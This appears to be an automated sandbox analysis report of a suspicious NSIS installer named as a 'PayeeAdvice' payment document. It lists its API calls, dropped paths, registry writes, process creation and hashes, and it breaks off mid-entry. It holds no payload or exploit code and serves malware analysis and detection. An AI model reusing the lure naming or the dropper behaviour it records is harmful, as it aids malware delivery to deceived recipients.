String ID: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$v]!
API String ID: 2803837635-2231877437
Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction ID: 37f794aabb7b6cc22e4429bd010eaec377b65274dead3bcbf73b1a6bf24b43e2
Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction Fuzzy Hash: FB610571940205ABDB20AF65DD89BAE3AB8EB04359F20417BF505B32D1C7BC9E41DB9C

Function 10001B3E Relevance: 20.0, APIs: 13, Instructions: 542stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,10001259,?,?,10001534,?,10001020,10001019,00000001), ref: 10001225

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 10001C4A
lstrcpyW.KERNEL32(00000008,?), ref: 10001C92
lstrcpyW.KERNEL32(00000808,?), ref: 10001C9C
GlobalFree.KERNEL32(00000000), ref: 10001CAF
GlobalFree.KERNEL32(?), ref: 10001DA9
GlobalFree.KERNEL32(?), ref: 10001DAE
GlobalFree.KERNEL32(?), ref: 10001DB3
GlobalFree.KERNEL32(00000000), ref: 10001F57
lstrcpyW.KERNEL32(?,?), ref: 100020BB

Memory Dump Source

Source File: 00000000.00000002.2690936672.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2690910719.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2690980563.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2691009289.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 0c4dc19f5173d816200b72df7880e601467eff42a6c84a7c618bf63198036684
Instruction ID: 71c1a880e39e69f42b548688fcbdb76c41956fc1357523659d9e12ead3b80716
Opcode Fuzzy Hash: 0c4dc19f5173d816200b72df7880e601467eff42a6c84a7c618bf63198036684
Instruction Fuzzy Hash: F9127A75D0064ADBEB20CFA4C8846EEB7F4FF083D5F21452AE5A5E3288D7749A81DB50

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\foreslaaende,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\foreslaaende,?,?,00000031), ref: 004017B8

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Strings

C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll, xrefs: 00401818, 00401834
Call, xrefs: 00401770, 00401779, 00401786, 00401798, 004017A4, 004017DA, 004017F0, 0040180E, 0040184A, 004018CB, 004018D4, 004018DE, 004018E9
C:\Users\user\AppData\Local\foreslaaende, xrefs: 00401781
C:\Users\user\AppData\Local\Temp\nsh2473.tmp, xrefs: 00401804, 00401822

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsh2473.tmp$C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll$C:\Users\user\AppData\Local\foreslaaende$Call
API String ID: 1941528284-3169595403
Opcode ID: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
Instruction ID: bc5e94bc6114b027384bbb583ab77f55914405742357509a7a45d2f14902e26b
Opcode Fuzzy Hash: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
Instruction Fuzzy Hash: 0541A071900515BACF10BBB5CC46DAF7A78EF05368B20863BF521B11E2D73C8A419A6E

Function 0040317D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403192

Part of subcall function 0040330F: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
WriteFile.KERNELBASE(0040BE78,0040D60C,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
SetFilePointer.KERNELBASE(00215D76,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1

Strings

v]!, xrefs: 00403181, 004032AF
x>A, xrefs: 004031F2

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: v]!$x>A
API String ID: 2146148272-1808354312
Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction ID: e2b2982e6b1d623d5d036838b7619e310c478df2cbc778b1b7af49cc7c53be0d
Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction Fuzzy Hash: 2A41AC72504201DFDB10AF29ED848A63BACFB54315720827FE910B22E0D7799D81DBED

Function 00403062 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
WriteFile.KERNELBASE(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115

Strings

v]!, xrefs: 0040307D, 0040312D, 0040316B
x>A, xrefs: 004030DE

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$PointerWrite
String ID: v]!$x>A
API String ID: 539440098-1808354312
Opcode ID: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction ID: dc2c699ff297b31fb9e84695071232237a0836a1395088a2783af72dccbdbb3b
Opcode Fuzzy Hash: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction Fuzzy Hash: A8312871500219EBDF10CF65EC44AAA3FBCEB08755F20813AF905AA1A0D3349E50DBA9

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsh2473.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsh2473.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsh2473.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Strings

C:\Users\user\AppData\Local\Temp\nsh2473.tmp, xrefs: 00402380, 004023A5, 004023B5, 004023C0

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsh2473.tmp
API String ID: 1356686001-2395162201
Opcode ID: 82ce1d6cb996bcf412ebbe99ed0769093b12cc40c1c1e49e2153e81d35d28ea4
Instruction ID: 3600ae87f41ed0761c30afac485ceb57641edc98565fd21ac0e2bbddf966c716
Opcode Fuzzy Hash: 82ce1d6cb996bcf412ebbe99ed0769093b12cc40c1c1e49e2153e81d35d28ea4
Instruction Fuzzy Hash: 511160B1A00108BEEB10AFA4DD49EAFBB7CEB50358F10443AF905B61D1D7B85D419B69

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004059E0: CharNextW.USER32(?,?,00424ED8,?,00405A54,00424ED8,00424ED8,?,?,75922EE0,00405792,?,C:\Users\user\AppData\Local\Temp\,75922EE0,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"), ref: 004059EE
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 004059F3
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 00405A0B

CreateDirectoryW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\foreslaaende,?,00000000,000000F0), ref: 00401630

Strings

C:\Users\user\AppData\Local\foreslaaende, xrefs: 00401623

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\foreslaaende
API String ID: 3751793516-1954961325
Opcode ID: fcdce739e0d94f26b1e3fbe2d5c138577a95ee6fa10370c5d64eef2b3acfb5ce
Instruction ID: 793db7a5d63411832aed35bcc9698a3b838560232fc9f0aff2bd133e4d1ca9b1
Opcode Fuzzy Hash: fcdce739e0d94f26b1e3fbe2d5c138577a95ee6fa10370c5d64eef2b3acfb5ce
Instruction Fuzzy Hash: 8E11C271904100EBDF206FA0CD449AF7AB4FF14369B34463BF882B62E1D23D4941DA6E

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DA9
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DAE
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DB3

GlobalFree.KERNEL32(00000000), ref: 1000181C
FreeLibrary.KERNEL32(?), ref: 10001893
GlobalFree.KERNEL32(00000000), ref: 100018B8

Part of subcall function 100022A1: GlobalAlloc.KERNEL32(00000040,405EA210), ref: 100022D3

Part of subcall function 1000260B: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017ED,00000000), ref: 1000267D

Part of subcall function 100015CC: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001749,00000000), ref: 100015E5

Part of subcall function 1000248D: wsprintfW.USER32 ref: 100024E1
Part of subcall function 1000248D: GlobalFree.KERNEL32(?), ref: 10002559
Part of subcall function 1000248D: GlobalFree.KERNEL32(00000000), ref: 10002582

Strings

, xrefs: 10001899

Memory Dump Source

Source File: 00000000.00000002.2690936672.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2690910719.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2690980563.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2691009289.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction ID: b3d4579510dcbc356f87b8c5eb81e8e4ebd4f83f88234b59d07570181d0aa013
Opcode Fuzzy Hash: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction Fuzzy Hash: 7831BF799043459AFB10DF74DCC5BDA37E8EB043D4F058529F90AAA08EDF74A985C760

Function 00405DB7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?,00000002,Call,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405DE1
RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E02
RegCloseKey.ADVAPI32(?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E25

Strings

Call, xrefs: 00405DBA

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction ID: 2fd967afc3cf920b801d0ff69ba4d64ac6492d281fb7c7a5729fe10eb95daac3
Opcode Fuzzy Hash: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction Fuzzy Hash: F4011A3255020AEADB219F56ED09EDB3BACEF85350F00403AF945D6260D335EA64DBF9

Function 00405B85 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405BA3
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403358,1033,C:\Users\user\AppData\Local\Temp\), ref: 00405BBE

Strings

nsa, xrefs: 00405B92
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B8A, 00405B8E

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-44229769
Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction ID: ce32066b90f2dd5c00c4c21114408b385ae8a9c1cc04399698be8057c3d71d7e
Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction Fuzzy Hash: B7F09676A00204BBDB008F59DC05F9BB7B9EB91710F10803AE901F7180E2B0BD40CB64

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Part of subcall function 00405665: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
Part of subcall function 00405665: CloseHandle.KERNEL32(?), ref: 00405697

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 96a63fcb15c31092515fbc06d8af7092e29a6e5b1bb977936f441355406fc1b0
Instruction ID: 1710045f99402437403c6baccff52884d9c8abed8acdccfc98223cb8aca5cd2d
Opcode Fuzzy Hash: 96a63fcb15c31092515fbc06d8af7092e29a6e5b1bb977936f441355406fc1b0
Instruction Fuzzy Hash: DC11A171D04204EBCF109FA0CD459DE7AB5EB04318F20447BE505B61E0C3798A82DF99

Function 00405108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405137
CallWindowProcW.USER32(?,?,?,?), ref: 00405188

Part of subcall function 0040417B: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418D

Strings

, xrefs: 00405118

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction ID: e96fcdb8fef6e8ad8397e3324e9c6cbe2a99463e9dbc89d2689884753c01e048
Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction Fuzzy Hash: 9C019E71A00608AFDF215F11DD84FAB3A26EB84354F104136FA007E2E0C37A8C929E69

Function 00405665 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
CloseHandle.KERNEL32(?), ref: 00405697

Strings

Error launching installer, xrefs: 00405678

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction ID: c7c859a2db999ab7639828e98f3e535764a8332e37e79a8a612d2f3195062982
